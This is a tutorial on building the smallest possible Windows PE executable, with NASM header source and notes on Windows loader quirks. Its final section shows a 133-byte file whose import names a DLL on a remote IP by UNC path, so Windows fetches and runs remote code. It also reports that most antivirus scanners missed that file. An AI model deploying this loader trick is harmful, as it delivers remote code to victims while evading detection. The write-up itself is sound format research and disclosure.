Tiny PE
Creating the smallest possible PE executable
This work was inspired by the Tiny PE challenge by Gil
Dabah. The object of the challenge was to write the smallest PE file that
downloads a file from the Internet and executes it.
In the process of writing increasingly smaller PE files for the challenge I
learned a lot of interesting details about the PE file format and the Windows
loader. The goal of this document is to preserve this knowledge for future
reference. In this, I have followed the example of the famous Whirlwind
Tutorial on Creating Really Teensy ELF Executables for Linux.
Summary
If you are too busy to read the entire page, here is a summary of the
results:
- Smallest possible PE file: 97 bytes
- Smallest possible PE file on Windows 2000: 133
bytes
- Smallest PE file that downloads a file over WebDAV and executes it: 133 bytes
The files above are the smallest possible PE files due to requirements of the
PE file format and cannot be improved further. Take this as a challenge if you
wish ;-)
UPDATE: Many before me had made similar claims and just like them I
turned out to be wrong. Thanks to Peter Ferrie for pointing out that you can
remove the last field from the 137 byte file and bring the file size down to 133
bytes.
You can also download an archive with all source code and executables from
this page:
For details about how these results were achieved, read below.
Smallest possible PE file
Our first task will be to build the smallest possible PE file that can be
loaded and executed by Windows. We'll start with a simple C program:
Compiling a simple C program
int main()
{
return 42;
}
We'll compile and link this program with Visual Studio 2005:
cl /nologo /c tiny.c
link /nologo tiny.obj
The resulting file size is 45056 bytes. This is clearly
unacceptable.
tiny.c | tiny.exe | dumpbin | Makefile
Removing the C Runtime Library
A very large part of the binary consists of the C Runtime Library. If we link
the same program with the /NODEFAULTLIB option, we'll
get a much smaller output file. We will also remove the console window from the
program by setting the subsystem to Win32 GUI.
cl /nologo /c /O1 tiny.c
link /nologo /ENTRY:main /NODEFAULTLIB /SUBSYSTEM:WINDOWS tiny.obj
The /O1 compiler option optimizes the code for size.
A disassembly of the .text section shows that main function was optimized down
to 4 bytes:
00401000: 6A 2A push 2Ah
00401002: 58 pop eax
00401003: C3 ret
The size of the PE file is now 1024 bytes.
tiny.c | tiny.exe | dumpbin | Makefile
Decreasing the file alignment
If we look at the dumpbin output for the
1024 byte file, we'll see that the file alignment is set to 512 bytes. The
contents of the .text section start at offset 0x200 in the file. The space
between the header and the .text section is filled with zeros.
The official PE specification states that the minimim file alignment is 512,
but the Microsoft linker can produce PE files with smaller alignment. The
Windows loader ignores the invalid alignment and is able to execute the file.
cl /c /O1 tiny.c
link /nologo /ENTRY:main /NODEFAULTLIB /SUBSYSTEM:WINDOWS /ALIGN:1 tiny.obj
The size of the PE file is now 468 bytes.
tiny.c | tiny.exe | dumpbin | Makefile
Switching to assembly and removing the DOS stub
To shrink the file even further, we need to be able to edit all fields in the
PE header. We'll disassemble our 468 byte C program and convert it to assembly
source that can be assembled with NASM. We'll use the
following command to build our PE file:
nasm -f bin -o tiny.exe tiny.asm
The only change we'll make is to remove the DOS stub that prints the message This program cannot be run in DOS mode. PE files still
need an MZ header, but the only two fields that are used are e_magic and
e_lfanew. We can fill the rest of the MZ header with zeros. Similarly, there are
many other unused fields in the PE header that can be modified without breaking
the program. In the source code below they are highlighted in red.
For a detailed description of the PE file format, please refer to the
official specification
from Microsoft and Matt Pietrek's An In-Depth Look into the Win32 Portable
Executable File Format: Part 1
and Part
2.
; tiny.asm
BITS 32
;
; MZ header
;
; The only two fields that matter are e_magic and e_lfanew
mzhdr:
dw "MZ" ; e_magic
dw 0 ; e_cblp UNUSED
dw 0 ; e_cp UNUSED
dw 0 ; e_crlc UNUSED
dw 0 ; e_cparhdr UNUSED
dw 0 ; e_minalloc UNUSED
dw 0 ; e_maxalloc UNUSED
dw 0 ; e_ss UNUSED
dw 0 ; e_sp UNUSED
dw 0 ; e_csum UNUSED
dw 0 ; e_ip UNUSED
dw 0 ; e_cs UNUSED
dw 0 ; e_lsarlc UNUSED
dw 0 ; e_ovno UNUSED
times 4 dw 0 ; e_res UNUSED
dw 0 ; e_oemid UNUSED
dw 0 ; e_oeminfo UNUSED
times 10 dw 0 ; e_res2 UNUSED
dd pesig ; e_lfanew
;
; PE signature
;
pesig:
dd "PE"
;
; PE header
;
pehdr:
dw 0x014C ; Machine (Intel 386)
dw 1 ; NumberOfSections
dd 0x4545BE5D ; TimeDateStamp UNUSED
dd 0 ; PointerToSymbolTable UNUSED
dd 0 ; NumberOfSymbols UNUSED
dw opthdrsize ; SizeOfOptionalHeader
dw 0x103 ; Characteristics (no relocations, executable, 32 bit)
;
; PE optional header
;
filealign equ 1
sectalign equ 1
%define round(n, r) (((n+(r-1))/r)*r)
opthdr:
dw 0x10B ; Magic (PE32)
db 8 ; MajorLinkerVersion UNUSED
db 0 ; MinorLinkerVersion UNUSED
dd round(codesize, filealign) ; SizeOfCode UNUSED
dd 0 ; SizeOfInitializedData UNUSED
dd 0 ; SizeOfUninitializedData UNUSED
dd start ; AddressOfEntryPoint
dd code ; BaseOfCode UNUSED
dd round(filesize, sectalign) ; BaseOfData UNUSED
dd 0x400000 ; ImageBase
dd sectalign ; SectionAlignment
dd filealign ; FileAlignment
dw 4 ; MajorOperatingSystemVersion UNUSED
dw 0 ; MinorOperatingSystemVersion UNUSED
dw 0 ; MajorImageVersion UNUSED
dw 0 ; MinorImageVersion UNUSED
dw 4 ; MajorSubsystemVersion
dw 0 ; MinorSubsystemVersion UNUSED
dd 0 ; Win32VersionValue UNUSED
dd round(filesize, sectalign) ; SizeOfImage
dd round(hdrsize, filealign) ; SizeOfHeaders
dd 0 ; CheckSum UNUSED
dw 2 ; Subsystem (Win32 GUI)
dw 0x400 ; DllCharacteristics UNUSED
dd 0x100000 ; SizeOfStackReserve UNUSED
dd 0x1000 ; SizeOfStackCommit
dd 0x100000 ; SizeOfHeapReserve
dd 0x1000 ; SizeOfHeapCommit UNUSED
dd 0 ; LoaderFlags UNUSED
dd 16 ; NumberOfRvaAndSizes UNUSED
;
; Data directories
;
times 16 dd 0, 0
opthdrsize equ $ - opthdr
;
; PE code section
;
db ".text", 0, 0, 0 ; Name
dd codesize ; VirtualSize
dd round(hdrsize, sectalign) ; VirtualAddress
dd round(codesize, filealign) ; SizeOfRawData
dd code ; PointerToRawData
dd 0 ; PointerToRelocations UNUSED
dd 0 ; PointerToLinenumbers UNUSED
dw 0 ; NumberOfRelocations UNUSED
dw 0 ; NumberOfLinenumbers UNUSED
dd 0x60000020 ; Characteristics (code, execute, read) UNUSED
hdrsize equ $ - $$
;
; PE code section data
;
align filealign, db 0
code:
; Entry point
start:
push byte 42
pop eax
ret
codesize equ $ - code
filesize equ $ - $$
To find out which fields are used and which can be freely modified, we used a
simple asm fuzzer written in Ruby. It iterates through
all header fields in the assembly source and replaces them with semi-random
values. If the resulting program crashes or fails to return 42, we conclude that
the field is in use.
The size of the assembled PE file is now 356 bytes.
tiny.asm | tiny.exe | dumpbin
| Makefile
Collapsing the MZ header
The e_lfanew field in the MZ header contains the offset of the PE header from
the beginning of the file. Usually the PE header begins after the MZ header and
the DOS stub, but if we set e_lfanew to a value smaller than the 0x40, the PE
header will start inside the MZ header. This allows us to merge some of the data
of the MZ and PE headers and produce a smaller file.
The PE header cannot start at offset 0, because we need the first two bytes
of the file to be "MZ". According to the PE specification, the PE header must be
aligned on a 8 byte boundary, but the Windows loader requires only a 4 byte
alignment. This means that the smallest possible value for e_lfanew is 4.
If the PE header starts at offset 4, most of it will overwrite unused fields
in the MZ header. The only field we need to be careful with is e_lfanew, which
is at the same offset as SectionAlignment. Since e_lfanew must be 4, we have to
set SectionAlignment to 4 as well. The PE specification says that if the section
alignment is less than the page size, the file alignment must have the same
value, so we have to set both SectionAlignment and FileAlignment to 4.
Fortunately the section data in our PE file is already aligned on a 4 byte
boundary, so changing the file alignment from 1 to 4 doesn't increase the file
size.
;
; MZ header
;
; The only two fields that matter are e_magic and e_lfanew
mzhdr:
dw "MZ" ; e_magic
dw 0 ; e_cblp UNUSED
;
; PE signature
;
pesig:
dd "PE" ; e_cp, e_crlc UNUSED ; PE signature
;
; PE header
;
pehdr:
dw 0x014C ; e_cparhdr UNUSED ; Machine (Intel 386)
dw 1 ; e_minalloc UNUSED ; NumberOfSections
dd 0x4545BE5D ; e_maxalloc, e_ss UNUSED ; TimeDateStamp UNUSED
dd 0 ; e_sp, e_csum UNUSED ; PointerToSymbolTable UNUSED
dd 0 ; e_ip, e_cs UNUSED ; NumberOfSymbols UNUSED
dw opthdrsize ; e_lsarlc UNUSED ; SizeOfOptionalHeader
dw 0x103 ; e_ovno UNUSED ; Characteristics
;
; PE optional header
;
filealign equ 4
sectalign equ 4 ; must be 4 because of e_lfanew
%define round(n, r) (((n+(r-1))/r)*r)
opthdr:
dw 0x10B ; e_res UNUSED ; Magic (PE32)
db 8 ; MajorLinkerVersion UNUSED
db 0 ; MinorLinkerVersion UNUSED
dd round(codesize, filealign) ; SizeOfCode UNUSED
dd 0 ; e_oemid, e_oeminfo UNUSED ; SizeOfInitializedData UNUSED
dd 0 ; e_res2 UNUSED ; SizeOfUninitializedData UNUSED
dd start ; AddressOfEntryPoint
dd code ; BaseOfCode UNUSED
dd round(filesize, sectalign) ; BaseOfData UNUSED
dd 0x400000 ; ImageBase
dd sectalign ; e_lfanew ; SectionAlignment
Collapsing the MZ header reduces the file size to 296 bytes.
tiny.asm | tiny.exe | dumpbin
| Makefile
Removing the data directories
The data directories at the end of the PE optional header usually contain
pointers to the import and export tables, debugging information, relocations and
other OS specific data. Our PE file doesn't use any of these features and its
data directories are empty. If we can remove the data directories from the file,
we'll save a lot of space.
The PE specification says that the number of data directories is specified in
the NumberOfRvaAndSizes header field and the size of the PE optional header is
variable. If we set NumberOfRvaAndSizes to 0 and decrease SizeOfOptionalHeader,
we can remove the data directories from the file.
dd 0 ; NumberOfRvaAndSizes
Most functions that read the data directories check if NumberOfRvaAndSizes is
large enough to avoid accessing invalid memory. The only exception is the Debug
directory on Windows XP. If the size of the Debug directory is not 0, regardless
of NumberOfRvaAndSizes, the loader will crash with an access violation in ntdll!LdrpCheckForSecuROMImage. We need to ensure that
the dword at offset 0x94 from the beginning of the optional header is always 0.
In our PE file this address is outside the memory mapped file and is zeroed by
the OS.
The size of the PE file is only 168 bytes, a significant
improvement.
tiny.asm | tiny.exe | dumpbin
| Makefile
Collapsing the PE section header
The Windows loader expects to find the PE section headers after the optional
header. It calculates the address of the first section header by adding
SizeOfOptionalHeader to the beginning of the optional header. However, the code
that accesses the fields of the optional header never checks its size. We can
set SizeOfOptionalHeader to a value smaller than the real size, and move the PE
section into the unused space in the optional header. This is illustrated by the
code below:
dw sections-opthdr ; e_lsarlc UNUSED ; SizeOfOptionalHeader
dw 0x103 ; e_ovno UNUSED ; Characteristics
;
; PE optional header
;
; The debug directory size at offset 0x94 from here must be 0
filealign equ 4
sectalign equ 4 ; must be 4 because of e_lfanew
%define round(n, r) (((n+(r-1))/r)*r)
opthdr:
dw 0x10B ; e_res UNUSED ; Magic (PE32)
db 8 ; MajorLinkerVersion UNUSED
db 0 ; MinorLinkerVersion UNUSED
;
; PE code section
;
sections:
dd round(codesize, filealign) ; SizeOfCode UNUSED ; Name UNUSED
dd 0 ; e_oemid, e_oeminfo UNUSED ; SizeOfInitializedData UNUSED
dd codesize ; e_res2 UNUSED ; SizeOfUninitializedData UNUSED ; VirtualSize
dd start ; AddressOfEntryPoint ; VirtualAddress
dd codesize ; BaseOfCode UNUSED ; SizeOfRawData
dd start ; BaseOfData UNUSED ; PointerToRawData
dd 0x400000 ; ImageBase ; PointerToRelocations UNUSED
dd sectalign ; e_lfanew ; SectionAlignment ; PointerToLinenumbers UNUSED
dd filealign ; FileAlignment ; NumberOfRelocations, NumberOfLinenumbers UNUSED
dw 4 ; MajorOperatingSystemVersion UNUSED ; Characteristics UNUSED
dw 0 ; MinorOperatingSystemVersion UNUSED
dw 0 ; MajorImageVersion UNUSED
dw 0 ; MinorImageVersion UNUSED
dw 4 ; MajorSubsystemVersion
dw 0 ; MinorSubsystemVersion UNUSED
dd 0 ; Win32VersionValue UNUSED
dd round(filesize, sectalign) ; SizeOfImage
dd round(hdrsize, filealign) ; SizeOfHeaders
dd 0 ; CheckSum UNUSED
dw 2 ; Subsystem (Win32 GUI)
dw 0x400 ; DllCharacteristics UNUSED
dd 0x100000 ; SizeOfStackReserve
dd 0x1000 ; SizeOfStackCommit
dd 0x100000 ; SizeOfHeapReserve
dd 0x1000 ; SizeOfHeapCommit UNUSED
dd 0 ; LoaderFlags UNUSED
dd 0 ; NumberOfRvaAndSizes UNUSED
hdrsize equ $ - $$
;
; PE code section data
;
align filealign, db 0
; Entry point
start:
push byte 42
pop eax
ret
codesize equ $ - start
filesize equ $ - $$
This kind of header mangling causes dumpbin to crash, but the WinDbg !dh
command can still parse the header correctly. The size of the PE file is now
128 bytes.
tiny.asm | tiny.exe | Makefile
The smallest possible PE file
The next step is obvious: we can move the 4 bytes of code into one of the
unused fields of the header, such as the TimeDateStamp field. This leaves the
end of optional header at the end of the PE file. It looks like we can't reduce
the file size any further, because the PE header starts at the smallest possible
offset and has a fixed size. It is followed by the PE optional header, which
also starts at the smallest offset possible. All other data in the file is
contained within these two headers.
Yet there is one more thing we can do. The PE file is mapped on a 4KB memory
page. Since the file is smaller than 4KB, the rest of the page is filled with
zeros. If we remove the last few fields of the PE optional header from the file,
the end of the structure will be mapped on a readable page of memory containing
zeros. 0 is a valid value for the last seven fields of the optional header,
allowing us to remove them and save another 26 bytes.
The last word in the file is the Subsystem field, which must be 2. Since
Intel is a little-endian architecture, the first byte of the word is 2 and the
second one is 0. We can store the field as a single byte in the file and save an
additional byte from the file size.
The full source code of the final PE file is given below:
; tiny.asm
BITS 32
;
; MZ header
;
; The only two fields that matter are e_magic and e_lfanew
mzhdr:
dw "MZ" ; e_magic
dw 0 ; e_cblp UNUSED
;
; PE signature
;
pesig:
dd "PE" ; e_cp, e_crlc UNUSED ; PE signature
;
; PE header
;
pehdr:
dw 0x014C ; e_cparhdr UNUSED ; Machine (Intel 386)
dw 1 ; e_minalloc UNUSED ; NumberOfSections
; dd 0xC3582A6A ; e_maxalloc, e_ss UNUSED ; TimeDateStamp UNUSED
; Entry point
start:
push byte 42
pop eax
ret
codesize equ $ - start
dd 0 ; e_sp, e_csum UNUSED ; PointerToSymbolTable UNUSED
dd 0 ; e_ip, e_cs UNUSED ; NumberOfSymbols UNUSED
dw sections-opthdr ; e_lsarlc UNUSED ; SizeOfOptionalHeader
dw 0x103 ; e_ovno UNUSED ; Characteristics
;
; PE optional header
;
; The debug directory size at offset 0x94 from here must be 0
filealign equ 4
sectalign equ 4 ; must be 4 because of e_lfanew
%define round(n, r) (((n+(r-1))/r)*r)
opthdr:
dw 0x10B ; e_res UNUSED ; Magic (PE32)
db 8 ; MajorLinkerVersion UNUSED
db 0 ; MinorLinkerVersion UNUSED
;
; PE code section
;
sections:
dd round(codesize, filealign) ; SizeOfCode UNUSED ; Name UNUSED
dd 0 ; e_oemid, e_oeminfo UNUSED ; SizeOfInitializedData UNUSED
dd codesize ; e_res2 UNUSED ; SizeOfUninitializedData UNUSED ; VirtualSize
dd start ; AddressOfEntryPoint ; VirtualAddress
dd codesize ; BaseOfCode UNUSED ; SizeOfRawData
dd start ; BaseOfData UNUSED ; PointerToRawData
dd 0x400000 ; ImageBase ; PointerToRelocations UNUSED
dd sectalign ; e_lfanew ; SectionAlignment ; PointerToLinenumbers UNUSED
dd filealign ; FileAlignment ; NumberOfRelocations, NumberOfLinenumbers UNUSED
dw 4 ; MajorOperatingSystemVersion UNUSED ; Characteristics UNUSED
dw 0 ; MinorOperatingSystemVersion UNUSED
dw 0 ; MajorImageVersion UNUSED
dw 0 ; MinorImageVersion UNUSED
dw 4 ; MajorSubsystemVersion
dw 0 ; MinorSubsystemVersion UNUSED
dd 0 ; Win32VersionValue UNUSED
dd round(hdrsize, sectalign)+round(codesize,sectalign) ; SizeOfImage
dd round(hdrsize, filealign) ; SizeOfHeaders
dd 0 ; CheckSum UNUSED
db 2 ; Subsystem (Win32 GUI)
hdrsize equ $ - $$
filesize equ $ - $$
Now we have really reached the limit. The field at offset 0x94 from the
beginning of the file is Subsystem, which must be set to 2. We cannot remove
this field or get around it. This must be the smallest possible PE file.
The size of the PE file is an incredible 97 bytes.
tiny.asm | tiny.exe | Makefile
Smallest PE file with imports
Unfortunately the 97 byte PE file does not work on Windows 2000. This is
because the loader tries to call a function from KERNEL32, but KERNEL32.DLL is
not loaded. All other versions of Windows load it automatically, but on Windows
2000 we have to make sure that KERNEL32.DLL is listed in the import table of the
executable. Executing a PE file with no imports is not possible.
Adding an import table
The structure of the import table is complicated, but adding a single ordinal
import from KERNEL32 is relatively simple. We need to put the name of the DLL we
want to import in the Name field and create two identical arrays of
IMAGE_THUNK_DATA structures, one for the Import Lookup Table and another one for
the Import Address Table. When the loader resolves the imports, it will read the
ordinal from the lookup table and replace the entry in the address table with
the function address.
dd 2 ; NumberOfRvaAndSizes
;
; Data directories
;
; The debug directory size at offset 0x34 from here must be 0
dd 0 ; Export Table UNUSED
dd 0
dd idata ; Import Table
dd idatasize
hdrsize equ $ - $$
; Import table (array of IMAGE_IMPORT_DESCRIPTOR structures)
idata:
dd ilt ; OriginalFirstThunk UNUSED
dd 0 ; TimeDateStamp UNUSED
dd 0 ; ForwarderChain UNUSED
dd kernel32 ; Name
dd iat ; FirstThunk
; empty IMAGE_IMPORT_DESCRIPTOR structure
dd 0 ; OriginalFirstThunk UNUSED
dd 0 ; TimeDateStamp UNUSED
dd 0 ; ForwarderChain UNUSED
dd 0 ; Name UNUSED
dd 0 ; FirstThunk
idatasize equ $ - idata
; Import address table (array of IMAGE_THUNK_DATA structures)
iat:
dd 0x80000001 ; Import function 1 by ordinal
dd 0
; Import lookup table (array of IMAGE_THUNK_DATA structures)
ilt:
dd 0x80000001 ; Import function 1 by ordinal
dd 0
kernel32:
db "KERNEL32.dll", 0
codesize equ $ - start
filesize equ $ - $$
With a single ordinal import the size of our PE file incresed to 209
bytes.
tiny.asm | tiny.exe | Makefile
Collapsing the import table
209 bytes are obivousely too much for a single imported function, so let's
see how we can make the file smaller. The first thing we'll do is to remove the
Import Lookup Table. This table is a copy of the IAT and doesn't seem to be used
by the linker. Removing it will save us 8 bytes.
The import table is 40 bytes long, but only three of the fields in it are
used. This allows us to collapse the import table into the PE optional header.
;
; Import table (array of IMAGE_IMPORT_DESCRIPTOR structures)
;
idata:
dd 0x400000 ; ImageBase ; PointerToRelocations UNUSED ; OriginalFirstThunk UNUSED
dd sectalign ; e_lfanew ; SectionAlignment ; PointerToLinenumbers UNUSED ; TimeDateStamp UNUSED
dd filealign ; FileAlignment ; NumberOfRelocations UNUSED ; ForwarderChain UNUSED
; NumberOfLinenumbers UNUSED
dd kernel32 ; MajorOperatingSystemVersion UNUSED ; Characteristics UNUSED ; Name
; MinorOperatingSystemVersion UNUSED ; FirstThunk
dd iat ; MajoirImageVersion UNUSED
; MinorImageVersion UNUSED
dw 4 ; MajorSubsystemVersion ; OriginalFirstThunk UNUSED
dw 0 ; MinorSubsystemVersion UNUSED
dd 0 ; Win32VersionValue UNUSED ; TimeDateStamp UNUSED
dd round(hdrsize, sectalign)+round(codesize,sectalign) ; SizeOfImage ; ForwarderChain UNUSED
dd round(hdrsize, filealign) ; SizeOfHeaders ; Name UNUSED
dd 0 ; CheckSum UNUSED ; FirstThunk
idatasize equ $ - idata
dw 2 ; Subsystem (Win32 GUI)
dw 0 ; DllCharacteristics UNUSED
dd 0 ; SizeOfStackReserve
dd 0 ; SizeOfStackCommit
dd 0 ; SizeOfHeapReserve
dd 0 ; SizeOfHeapCommit
dd 0 ; LoaderFlags UNUSED
dd 2 ; NumberOfRvaAndSizes
The PE file is now 161 bytes.
tiny.asm | tiny.exe | Makefile
Collapsing the IAT and the DLL name
The last two structures left outside of the PE header are the IAT and the
name of the imported DLL. We can collapse the IAT into the unused 8-byte Name
field of the PE section header. The DLL name can be stored in the unused fields
at the end of the PE optional header and in the 8 bytes of the export data
directory. There is enough space for 15 characters and a null terminator for the
name.
The last field in the data directory is the size of the import table, but the
size isn't really used by the loader and can be set to 0. The last three bytes
of the import table pointer are also 0, because the pointer is stored as a
little-endian dword. We can remove all the zero bytes from the end of the file,
just like we did with the 97 byte PE file above.
The full source code of the final PE file is given below:
; tiny.asm
BITS 32
;
; MZ header
;
; The only two fields that matter are e_magic and e_lfanew
mzhdr:
dw "MZ" ; e_magic
dw 0 ; e_cblp UNUSED
;
; PE signature
;
pesig:
dd "PE" ; e_cp UNUSED ; PE signature
; e_crlc UNUSED
;
; PE header
;
pehdr:
dw 0x014C ; e_cparhdr UNUSED ; Machine (Intel 386)
dw 1 ; e_minalloc UNUSED ; NumberOfSections
; dd 0xC3582A6A ; e_maxalloc UNUSED ; TimeDateStamp UNUSED
; ; e_ss UNUSED
; Entry point
start:
push byte 42
pop eax
ret
dd 0 ; e_sp UNUSED ; PointerToSymbolTable UNUSED
; e_csum UNUSED
dd 0 ; e_ip UNUSED ; NumberOfSymbols UNUSED
; e_cs UNUSED
dw sections-opthdr ; e_lsarlc UNUSED ; SizeOfOptionalHeader
dw 0x103 ; e_ovno UNUSED ; Characteristics
;
; PE optional header
;
; The debug directory size at offset 0x94 from here must be 0
filealign equ 4
sectalign equ 4 ; must be 4 because of e_lfanew
%define round(n, r) (((n+(r-1))/r)*r)
opthdr:
dw 0x10B ; e_res UNUSED ; Magic (PE32)
db 8 ; MajorLinkerVersion UNUSED
db 0 ; MinorLinkerVersion UNUSED
;
; PE code section and IAT
;
sections:
iat:
dd 0x80000001 ; SizeOfCode UNUSED ; Name UNUSED ; Import function 1 by ordinal
dd 0 ; e_oemid UNUSED ; SizeOfInitializedData UNUSED ; end of IAT
; e_oeminfo UNUSED
dd codesize ; e_res2 UNUSED ; SizeOfUninitializedData UNUSED ; VirtualSize
dd start ; AddressOfEntryPoint ; VirtualAddress
dd codesize ; BaseOfCode UNUSED ; SizeOfRawData
dd start ; BaseOfData UNUSED ; PointerToRawData
;
; Import table (array of IMAGE_IMPORT_DESCRIPTOR structures)
;
idata:
dd 0x400000 ; ImageBase ; PointerToRelocations UNUSED ; OriginalFirstThunk UNUSED
dd sectalign ; e_lfanew ; SectionAlignment ; PointerToLinenumbers UNUSED ; TimeDateStamp UNUSED
dd filealign ; FileAlignment ; NumberOfRelocations UNUSED ; ForwarderChain UNUSED
; NumberOfLinenumbers UNUSED
dd kernel32 ; MajorOperatingSystemVersion UNUSED ; Characteristics UNUSED ; Name
; MinorOperatingSystemVersion UNUSED ; FirstThunk
dd iat ; MajoirImageVersion UNUSED
; MinorImageVersion UNUSED
dw 4 ; MajorSubsystemVersion ; OriginalFirstThunk UNUSED
dw 0 ; MinorSubsystemVersion UNUSED
dd 0 ; Win32VersionValue UNUSED ; TimeDateStamp UNUSED
dd round(hdrsize, sectalign)+round(codesize,sectalign) ; SizeOfImage ; ForwarderChain UNUSED
dd round(hdrsize, filealign) ; SizeOfHeaders ; Name UNUSED
dd 0 ; CheckSum UNUSED ; FirstThunk
idatasize equ $ - idata
dw 2 ; Subsystem (Win32 GUI)
dw 0 ; DllCharacteristics UNUSED
dd 0 ; SizeOfStackReserve
dd 0 ; SizeOfStackCommit
dd 0 ; SizeOfHeapReserve
dd 0 ; SizeOfHeapCommit
; dd 0 ; LoaderFlags UNUSED
; dd 2 ; NumberOfRvaAndSizes
;
; The DLL name should be at most 16 bytes, including the null terminator
;
kernel32:
db "KERNEL32.dll", 0
times 16-($-kernel32) db 0
;
; Data directories
;
; The debug directory size at offset 0x34 from here must be 0
; dd 0 ; Export Table UNUSED
; dd 0
db idata - $$ ; Import Table
hdrsize equ $ - $$
codesize equ $ - start
filesize equ $ - $$
This brings the final file size to 133 bytes.
tiny.asm | tiny.exe | Makefile
Smallest PE file that downloads a file from the Internet
The goal of the Tiny PE challenge was to write the smallest PE file that
downloads a file from the Internet and executes it. The standard technique for
this is to call URLDownloadToFileA and then WinExec to execute the file. There
are many examples of shellcode that uses this API, but it requires us to load
URLMON.DLL and call multiple functions, which would increase the size of our PE
file significantly.
A less known feature of Windows XP is the WebDAV Mini-Redirector. It
translates UNC paths used by all Windows applications to URLs and tries to
access them over the WebDAV protocol. This means that we can pass a UNC path to
WinExec and the redirector will attempt to download the specified file over
WebDAV on port 80.
Even more interesting is the fact that you can specify a UNC path in the
import section of the PE file. If we specify \\66.93.68.6\z as the name of the
imported DLL, the Windows loader will try to download the DLL file from our web
server.
This allows us to create a PE file that downloads and excutes a file from the
Internet without executing a single line of code. All we have to do is put our
payload in the DllMain function in the DLL, put the DLL on a publicly accessible
WebDAV server and specify the UNC path to the file in the imports section of the
PE file. When the loader processes the imports of the PE file, it will load the
DLL from the WebDAV server and execute its DllMain function.
;
; The DLL name should be at most 16 bytes, including the null terminator
;
dllname:
db "\\66.93.68.6\z", 0
times 16-($-dllname) db 0
The size of the PE file with a UNC import is still only 133 bytes.
WARNING: The PE file linked below is live. It will attempt to download
and execute a payload DLL from http://66.93.68.6/z. The DLL will display a
message box and exit, but you should take proper precautions and treat it as
untrusted code.
tiny.asm | tiny.exe | Makefile
Setting up Apache or IIS as WebDAV servers is not complicated, but for
development purposes you can use the following Ruby script. It will serve as
minimial WebDAV server with just enough functionality for the attack to
work:
webdav.rb
The payload DLL and its source are also available:
payload.c | payload.dll | test.c | tiny.exe | Makefile
VirusTotal Results
Scanning the 133 byte PE file that downloads a DLL over WebDAV with common
anti-virus software shows that the rate of detection is very low. My suggestion
to AV vendors is to start using the presense of UNC imports as a malware
heuristic.
Complete scanning result of "tiny.exe", received in VirusTotal at 11.08.2006, 07:14:08
(CET).
Antivirus |
Version |
Update |
Result |
AntiVir |
7.2.0.39 |
11.07.2006 |
no virus found |
Authentium |
4.93.8 |
11.07.2006 |
no virus found |
Avast |
4.7.892.0 |
11.07.2006 |
no virus found |
AVG |
386 |
11.07.2006 |
no virus found |
BitDefender |
7.2 |
11.08.2006 |
no virus found |
CAT-QuickHeal |
8.00 |
11.07.2006 |
(Suspicious) - DNAScan |
ClamAV |
devel-20060426 |
11.07.2006 |
no virus found |
DrWeb |
4.33 |
11.08.2006 |
no virus found |
eTrust-InoculateIT |
23.73.49 |
11.08.2006 |
no virus found |
eTrust-Vet |
30.3.3181 |
11.07.2006 |
no virus found |
Ewido |
4.0 |
11.07.2006 |
no virus found |
Fortinet |
2.82.0.0 |
11.08.2006 |
no virus found |
F-Prot |
3.16f |
11.07.2006 |
no virus found |
F-Prot4 |
4.2.1.29 |
11.07.2006 |
no virus found |
Ikarus |
0.2.65.0 |
11.07.2006 |
no virus found |
Kaspersky |
4.0.2.24 |
11.08.2006 |
no virus found |
McAfee |
4890 |
11.07.2006 |
no virus found |
Microsoft |
1.1609 |
11.08.2006 |
no virus found |
NOD32v2 |
1.1858 |
11.07.2006 |
no virus found |
Norman |
5.80.02 |
11.07.2006 |
no virus found |
Panda |
9.0.0.4 |
11.07.2006 |
no virus found |
Sophos |
4.11.0 |
11.07.2006 |
no virus found |
TheHacker |
6.0.1.114 |
11.08.2006 |
no virus found |
UNA |
1.83 |
11.07.2006 |
no virus found |
VBA32 |
3.11.1 |
11.07.2006 |
no virus found |
VirusBuster |
4.3.15:9 |
11.07.2006 |
no virus found |
Additional Information |
File size: 133 bytes |
MD5: a6d732dd4b460000151a5f3cb448a4be |
SHA1:
3bdd0363204f3db7d0e15af2a64081ce04e57533 |